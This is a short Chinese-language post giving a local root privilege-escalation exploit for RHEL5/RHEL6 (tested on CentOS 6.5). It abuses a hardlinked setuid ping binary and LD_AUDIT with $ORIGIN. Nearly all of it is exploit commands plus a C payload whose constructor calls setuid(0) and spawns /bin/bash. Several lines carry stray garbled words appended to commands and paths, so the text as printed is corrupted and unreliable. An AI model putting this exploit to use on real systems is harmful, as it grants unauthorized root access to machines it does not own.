RHEL5—RHEL6下均可以提權vim
本人測試環境CenOS6.5:該方法只能用做與有root用戶切換到普通用戶的環境,若是是普通用戶直接登陸在執行最後一步的時候直接退出登陸bash
$ mkdir /tmp/exploit測試
$ ln /bin/ping /tmp/exploit/targetui
$ exec 3< /tmp/exploit/targetspa
$ ll /proc/$$/fd/3get
$ rm -rf /tmp/exploit/it
$ ll /proc/$$/fd/3編譯
$ vim payload.c登錄
void __attribute__((constructor)) init()gcc
{
setuid(0);
system("/bin/bash");
}
編譯payload.c
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3